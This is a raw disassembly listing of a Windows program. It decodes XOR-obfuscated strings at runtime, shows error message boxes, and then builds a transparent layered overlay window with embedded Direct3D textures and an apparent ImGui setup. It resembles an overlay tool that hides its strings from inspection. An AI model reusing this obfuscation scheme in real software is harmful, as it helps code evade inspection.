movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x1403f4620]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x1403f45c0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movq qword [rax], xmm3
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
jmp 0x1402bcd28
lea rdx, [rbp - 6]
mov byte [rsp + 0x61], r12b
lea rcx, [rsp + 0x61]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402bc4c4
mov r13d, r12d
cmp r15d, 2
jl 0x1402bc488
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bc490
lea rdx, [rbp + 0x380]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5b40
mov r10, rax
cmp byte [rax + 0x36], r12b
je 0x1402bc674
cmp r15d, 2
jl 0x1402bc632
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x30
jl 0x1402bc520
cmp eax, 0x37
jge 0x1402bc674
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x37
jl 0x1402bc640
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp - 6]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402bc7f4
mov r13d, r12d
cmp r15d, 2
jl 0x1402bc7b6
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bc7c0
lea rdx, [rbp + 0x380]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5b90
mov r10, rax
cmp byte [rax + 0x37], r12b
je 0x1402bc994
cmp r15d, 2
jl 0x1402bc95c
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x38
jl 0x1402bc850
jmp 0x1402bc994
mov r8, r10
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x38
jl 0x1402bc960
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp - 6]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402bcb14
mov r13d, r12d
cmp r15d, 2
jl 0x1402bcad6
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bcae0
lea rdx, [rbp + 0x380]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5bd0
mov r10, rax
cmp byte [rax + 0x34], r12b
je 0x1402bccc4
cmp r15d, 2
jl 0x1402bcc82
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x30
jl 0x1402bcb70
cmp eax, 0x35
jge 0x1402bccc4
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x35
jl 0x1402bcc90
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov r9, r10
mov r8d, r12d
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 8
jl 0x1402bccf0
mov edx, 0x7f00
mov qword [rbp + 0x330], r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x2f0]
mov qword [rbp + 0x338], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
cvttss2si ebx, dword [0x140591e0c]
mov ecx, r14d
cvttss2si edi, dword [0x140591e08]
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140591e0c]
xor ecx, ecx
movss xmm10, dword [0x1403f4334]
cdq
sub eax, edx
mulss xmm0, xmm10
sar eax, 1
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si esi, xmm1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
movss xmm0, dword [0x140591e08]
lea rcx, [rsp + 0x61]
cdq
mulss xmm0, xmm10
sub eax, edx
mov byte [rsp + 0x61], r12b
sar eax, 1
lea rdx, [rbp + 0x2d8]
movd xmm1, eax
cvtdq2ps xmm1, xmm1
subss xmm1, xmm0
cvttss2si r13d, xmm1
call fcn.1402c5c30
mov r8, rax
cmp word [rax + 0xe], r12w
je 0x1402bcf18
cmp r15d, 2
jl 0x1402bced5
movdqa xmm2, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm1, xmm2
movdqa xmm6, xmmword [0x1403f4620]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x1403f45c0]
xorps xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
movq qword [rax], xmm3
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm6
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rax + 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rax + 8], xmm3
jmp 0x1402bcf18
mov r10, r8
mov r9d, r12d
nop dword [rax + rax]
mov eax, 0x92492493
lea r10, [r10 + 2]
imul r9d
add edx, r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r9w
inc r9d
sub ax, cx
add ax, 0x39
xor word [r10 - 2], ax
cmp r9d, 8
jl 0x1402bcee0
mov rdx, qword [rbp + 0x330]
mov r9d, 0x80000000
mov qword [rsp + 0x58], r12
xor ecx, ecx
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], r12
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], r13d
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov rcx, rax
mov qword [0x1405932a0], rax
mov edx, 0xffffffec
call qword [sym.imp.USER32.dll_GetWindowLongW]
mov rcx, qword [0x1405932a0]
mov edx, 0xffffffec
bts eax, 0x13
mov r8d, eax
call qword [sym.imp.USER32.dll_SetWindowLongA]
mov rcx, qword [0x1405932a0]
mov r9d, 2
mov r8b, 0xff
xor edx, edx
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
mov rcx, qword [0x1405932a0]
call fcn.1402b7ee0
movdqa xmm0, xmmword [0x1403f4510]
lea rdx, [rbp + 0x898]
mov rcx, qword [0x1405932a0]
movdqu xmmword [rbp + 0x898], xmm0
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
mov rcx, qword [0x1405932a0]
lea rdx, [0x1405931b8]
xorps xmm0, xmm0
movups xmmword [0x1405931b8], xmm0
call qword [sym.imp.USER32.dll_GetWindowRect]
mov rcx, qword [0x1405932a0]
call fcn.1402c6580
test al, al
jne 0x1402bd087
call fcn.1402c66b0
mov rdx, qword [rbp + 0x308]
mov rcx, qword [rbp + 0x330]
call qword [sym.imp.USER32.dll_UnregisterClassW]
lea rcx, [rbp + 0xcf0]
call fcn.1402c64a0
lea rcx, [rbp + 0x918]
call fcn.1402c7c60
lea rcx, [rbp + 0x938]
call fcn.1402c7c60
lea rcx, [rbp + 0xe00]
call fcn.1402c6240
lea rcx, [rbp + 0x490]
call fcn.1402c7c60
lea rcx, [rbp + 0x4b0]
call fcn.1402c7c60
lea rcx, [rbp + 0x4d0]
call fcn.1402c7c60
lea rcx, [rbp + 0x4f0]
call fcn.1402c7c60
lea rcx, [rbp + 0x510]
call fcn.1402c7c60
mov eax, r14d
jmp 0x1402c5784
mov rcx, qword [0x1405932a0]
mov edx, 0xa
movaps xmmword [rsp + 0x3c10], xmm8
movaps xmmword [rsp + 0x3c00], xmm9
movaps xmmword [rsp + 0x3be0], xmm11
movaps xmmword [rsp + 0x3bd0], xmm12
movaps xmmword [rsp + 0x3bb0], xmm14
movaps xmmword [rsp + 0x3ba0], xmm15
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1405932a0]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov qword [rsp + 0x30], 2
lea rcx, str.1.89.6_WIP
mov r13d, 8
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov r9d, r13d
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37c8
mov r8d, 0x448
call fcn.140014fc0
xor ecx, ecx
call fcn.140005c10
call fcn.1400078b0
lea rcx, [rbp + 0xa90]
mov rdi, rax
call fcn.14002e110
mov dword [rbp + 0xadc], 0x10c
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
call fcn.140032f20
movss xmm6, dword [0x1403f43f8]
lea rdx, [0x140500130]
mov qword [rsp + 0x28], rax
movaps xmm3, xmm6
lea rax, [rbp + 0xa90]
mov r8d, 0x4cd58
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ec10
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1405931d8], rax
call fcn.140032f20
mov qword [rsp + 0x28], rax
lea rdx, [0x140435280]
lea rax, [rbp + 0xa90]
movaps xmm3, xmm6
mov r8d, 0x4d2c4
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002ec10
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x140593120], rax
call fcn.140032f20
movss xmm3, dword [0x1403f4428]
lea rdx, [0x1404b2a50]
mov qword [rsp + 0x28], rax
mov r8d, 0x4d3d4
lea rax, [rbp + 0xa90]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ec10
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1405931d0], rax
call fcn.140032f20
movss xmm3, dword [0x1403f4408]
lea rdx, [0x140435280]
mov qword [rsp + 0x28], rax
mov r8d, 0x4d2c4
lea rax, [rbp + 0xa90]
mov rcx, rbx
mov qword [rsp + 0x20], rax
call fcn.14002ec10
mov rbx, qword [rdi + 0x50]
mov rcx, rbx
mov qword [0x1405931e0], rax
call fcn.140032f20
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xa90]
movss xmm3, dword [0x1403f43f0]
lea rdx, [0x14054ce90]
mov r8d, 0xb18
mov qword [rsp + 0x20], rax
mov rcx, rbx
call fcn.14002ec10
lea rcx, [rbp + 0x280]
mov qword [0x1405931c8], rax
call fcn.1400440c0
cmp qword [0x140593190], r12
jne 0x1402bd2cb
mov rcx, qword [0x1405932b8]
lea rax, [0x140593190]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x14054d9b0]
mov r8d, 0x35ad3
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593158], r12
jne 0x1402bd30b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593158]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x14040f390]
mov r8d, 0x15a7f
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593198], r12
jne 0x1402bd34b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593198]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x14040f110]
mov r8d, 0x273
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593130], r12
jne 0x1402bd38b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593130]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140425000]
mov r8d, 0x23c
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405931a8], r12
jne 0x1402bd3cb
mov rcx, qword [0x1405932b8]
lea rax, [0x1405931a8]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x1404b2800]
mov r8d, 0x242
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593148], r12
jne 0x1402bd40b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593148]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140424e10]
mov r8d, 0x1ed
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593138], r12
jne 0x1402bd44b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593138]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140583490]
mov r8d, 0x1a5
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405931b0], r12
jne 0x1402bd48b
mov rcx, qword [0x1405932b8]
lea rax, [0x1405931b0]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140425240]
mov r8d, 0x255
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593150], r12
jne 0x1402bd4cb
mov rcx, qword [0x1405932b8]
lea rax, [0x140593150]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x1404b25b0]
mov r8d, 0x243
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1405931a0], r12
jne 0x1402bd50b
mov rcx, qword [0x1405932b8]
lea rax, [0x1405931a0]
mov qword [rsp + 0x30], r12
lea r9, [rbp + 0x280]
mov qword [rsp + 0x28], rax
lea rdx, [0x140583640]
mov r8d, 0xe742
mov qword [rsp + 0x20], r12
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140593170], r12
jne 0x1402bd54b
mov rcx, qword [0x1405932b8]
lea rax, [0x140593170]
